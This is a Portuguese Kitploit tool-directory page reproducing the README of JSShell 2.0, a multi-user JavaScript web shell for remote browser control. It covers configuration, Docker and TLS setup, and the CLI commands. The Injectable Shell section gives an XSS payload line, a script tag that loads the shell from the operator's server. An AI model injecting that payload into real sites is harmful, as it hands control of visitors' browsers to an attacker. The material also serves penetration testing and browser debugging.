Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
JSShell — Um shell web JS interativo e multiusuário | Kitploit
Ferramentas/GitHubGitHub/den1al/jsshell
ExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubden1al/jsshell

JSShell

Um shell web JS interativo e multiusuário

Ver Repositório
364701há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

JSShell 2.0

made-with-python Generic badge Generic badge

Um shell JavaScript interativo multi-usuário baseado na web. Foi inicialmente criado para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Esta ferramenta pode ser facilmente anexada a um payload XSS (Cross Site Scripting) para alcançar execução remota de código no navegador (semelhante ao framework BeeF).

A versão 2.0 foi criada do zero, introduzindo novos recursos interessantes, estabilidade e facilidade de manutenção.

Versão: 2.0

Autor

Daniel Abeles.

Vídeo do Shell

asciicast

Funcionalidades

  • Suporte a múltiplos clientes
  • Suporte a objetos DOM cíclicos
  • Scripts de pré-voo
  • Fila de Comandos e Contexto
Baixar ferramenta
  • Extensível com Plugins
  • Injetável via tags <script>
  • Despejando saída de comandos em arquivo
  • Paginação do Shell
  • Suporte a HTTPS! Generic badge
  • Instalação e Configuração

    Arquivo de Configuração

    No diretório resources, atualize o arquivo config.json com a configuração desejada:

    • Host do banco de dados - se estiver usando o método de implantação docker, escolha o host do banco como db (que é o nome do host interno).
    • URL de retorno - a URL que as requisições seguirão. O arquivo shell.js faz algumas chamadas AJAX para registrar e consultar novos comandos. Geralmente será http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}.
    • Script de inicialização - um script que é executado automaticamente quando o cliente CLI do JSShell é iniciado.
    • Domínio - se desejar gerar certificados TLS, este é o nome de domínio que o servidor usará.
    • Também é possível apontar para um banco de dados remoto, se desejado.

    Let's Encrypt

    Agora o JSShell suporta TLS, o que significa que você pode gerar certificados TLS e fornecê-los ao servidor web. O servidor web inferirá o nome de domínio do arquivo config.json. Para criar o certificado, use o script create_cert.py na pasta scripts:

    root@kitploit:~
    $ cd scripts
    $ python create_cert.py --domain <SEU_DOMÍNIO> --email <SEU_EMAIL>
    
    o campo de email é opcional.

    Observe que o servidor web deve estar parado para que o script funcione corretamente. Neste ponto, geramos nossos certificados com sucesso! As únicas modificações que precisamos fazer são:

    • No arquivo config.json, altere o esquema do campo URL para https.
    • No arquivo docker-compose.yml, altere a porta exposta do contêiner web para 443.

    Docker

    Esta nova versão suporta a instalação e execução do JSShell via docker e docker-compose. Agora, para instalar e executar todo o framework JSShell, basta executar:

    root@kitploit:~
    $ ./scripts/start_docker_shell.sh
    

    Isso irá:

    • Iniciar e criar o banco de dados em segundo plano
    • Iniciar o servidor da API web que lida com conexões recebidas em segundo plano
    • Iniciar uma nova instância do contêiner de interface de linha de comando do JSShell

    Método Regular

    Se você ainda quiser usar o método antiquado de instalação, certifique-se de ter um banco de dados MongoDB em execução e atualize o arquivo config.json localizado no diretório resources.

    Recomendo usar um ambiente virtual com pyenv:

    root@kitploit:~
    $ pyenv virtualenv -p python3.6 venv
    $ pyenv activate venv
    

    Ou usando virtualenv:

    root@kitploit:~
    $ virtualenv -p python3.6 venv
    $ source venv/bin/activate
    

    Em seguida, instale os requisitos:

    root@kitploit:~
    $ pip install -r requirements.txt
    

    Executando

    Se você usou o método docker, não há necessidade de executar o procedimento a seguir.

    Servidor Web

    Caso contrário, após configurar o banco de dados, precisamos iniciar o servidor da API web. Para isso, execute:

    root@kitploit:~
    $ python manage.py web
    

    Isso criará e executará um servidor web que escuta conexões recebidas e serve nosso código JSShell.

    Shell

    Agora, para iniciar o CLI do JSShell, execute o mesmo script, mas agora com a flag shell:

    root@kitploit:~
    $ python manage.py shell
    

    Uso

    Após a configuração e execução dos componentes necessários, digite o comando help para ver os comandos disponíveis:

    root@kitploit:~
         ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
         ║╚═╗└─┐├─┤├┤ │  │  
        ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
            por @Daniel_Abeles
        
    >> help
    
    Comandos documentados (digite help <tópico>):
    
    Comandos Gerais
    --------------------------------------------------------------------------------
    edit                Editar um arquivo em um editor de texto
    help                Listar comandos disponíveis ou fornecer ajuda detalhada para um comando específico
    history             Visualizar, executar, editar, salvar ou limpar comandos inseridos anteriormente
    ipy                 Entrar em um shell IPython interativo
    py                  Invocar comando ou shell Python
    quit                Sair desta aplicação
    
    Operações Baseadas no Shell
    --------------------------------------------------------------------------------
    back                Desmarcar o cliente atualmente selecionado
    clients             Listar e controlar os clientes que se registraram em nosso sistema
    commands            Mostrar os comandos executados no cliente selecionado
    dump                Despejar um comando no disco
    execute             Executar comandos no cliente selecionado
    select              Selecionar um cliente como cliente atual
    
    >> 
    

    Fluxo

    O JSShell suporta 2 métodos de operação:

    1. Shell Injetável (semelhante ao framework BeeF)
    2. Shell Hospedado (para depuração)

    Shell Injetável

    Semelhante a outros frameworks de controle XSS (como BeeF), o JSShell é capaz de gerenciar explorações XSS bem-sucedidas. Por exemplo, se você puder injetar uma tag script, injete o seguinte recurso em seu payload, e um novo cliente aparecerá no seu console:

    <script src="http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/content/js"></script>

    Shell Hospedado

    Se você deseja depurar navegadores exóticos e esotéricos, basta navegar até http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/ e um novo cliente aparecerá em seu cliente CLI do JSShell. Agora ele pode ser depurado através do nosso console JSShell.

    Créditos

    Canop pelo JSON.prune

    use por sua própria conta e risco.